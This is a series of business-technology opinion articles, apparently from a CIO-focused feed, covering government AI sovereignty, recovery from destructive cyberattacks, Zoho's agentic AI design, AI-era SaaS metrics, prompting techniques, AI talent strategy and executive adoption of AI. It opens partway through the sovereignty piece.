The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.

Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.

Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.

Building an operational sovereignty strategy

Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.

None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.

Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:

Can we classify AI workloads by public-service risk?
Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?
Can we restrict which models are approved for which data classes and functions?
Can we reconstruct an AI-assisted action in enough detail to explain it?
Can we change providers without losing continuity or institutional knowledge?
Can we explain the system to citizens, regulators, auditors and elected officials?

A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.

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Principles every enterprise must test before the attack arrives

Sat, 25 Jul 2026 18:55:54 +0200

I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.

Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”

This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.

As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:

Recovery is not just a technical exercise

The first assumption to break during a real crisis is the belief that recovery is purely technical.

Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.

The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.

Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.

True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.

Most business continuity plans ignore ‘total blackout’

I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.

Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.

This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.

That is the level of clarity leaders need.

The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.

The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.

If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.

Threat intelligence must be actionable, not archived

Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.

If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.

Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.

Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.

Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.

Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.

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Smaller, smarter, safer: How to build agentic AI on the right foundation

Sat, 25 Jul 2026 18:55:52 +0200

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:

Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
Smarter: The system around the model decides more than the model does.
Safer: Verify at the point a mistake gets locked in, not just downstream of it.

He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.

To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.

“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”

In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.

Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.

Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.

Routing

Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.

Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.

Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.

Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.

Specialization

Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.

Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.

“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”

The new value architecture of the AI-native SaaS era

Sat, 25 Jul 2026 18:55:51 +0200

The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.

In brief:

AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.
Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.
These changes impact everything from pricing to valuations.

The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.

The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.

While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a credit-centric metrics framework, with seats and outcomes as the bookends of a spectrum.

Why do software companies need new metrics?

Why the rethink, and why now? There are five major forces that are driving this shift:

The unit of value is changing. Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.
The cost of goods sold (COGS) is exploding. AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.
Buying is moving up the org chart. AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.
Time to value (TTV) is collapsing. With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.
Retention is bifurcating. AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.

How this shift is impacting pricing

Given how AI-native software is transforming the market, the shift to more variable pricing options is inevitable.

Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.

Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.

Finally, the industry will likely see some move toward outcome-based pricing for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.

Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.

How AI upends classic SaaS metrics

When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?

But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:

Revenue composition

Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.
Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.
Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.
Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.

Margin reality

Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.
Inference-adjusted gross margin: By carving out AI inference costs separately in the P&L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.
Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.
AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.

Behavioral and value signals

Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.
Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.
Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.

Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.

What does this mean for enterprise value calculations?

As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.

Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.

For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.

In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.

We’re also seeing an inversion of the operating model, with R&D and COGS moving up the P&L and sales and marketing (S&M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.

Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.

What this means for leaders, boards and investors

The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.

While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.

It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.

The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst & Young LLP or other members of the global EY organization.

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Stop asking AI nicely: Here’s how to get work-ready results every time

Sat, 25 Jul 2026 18:55:51 +0200

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
Security guardrails: Always include instructions against prompt injections and respect data boundaries.
When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

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How to navigate the AI talent wars

Sat, 25 Jul 2026 18:55:50 +0200

Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”

Block did the same thing. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.

This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, you’re behind.

The benchmark has moved

AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, the average revenue per employee is $3.48M, nearly twelve times the traditional SaaS benchmark of $300K.

Boards aren’t comparing you to your 2019 self anymore. They’re comparing you to Anthropic.

This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.

For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.

Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.

‘Acqui-hires’ are a shortcut with a hidden cost

Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: these are acqui-hires dressed up as M&A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.

I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.

But there’s a cost that doesn’t show up in the acquisition price.

AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.

When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.

The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.

The CIO’s real problem

The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.

That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.

The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.

The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.

This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.

Closing the gap without slowing down

The AI talent wars are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.

Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.

The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.

Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.

This article is published as part of the Foundry Expert Contributor Network.
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Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption

Sat, 25 Jul 2026 18:55:49 +0200

I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.

The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.

AI as a leadership multiplier

The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.

When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”

Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

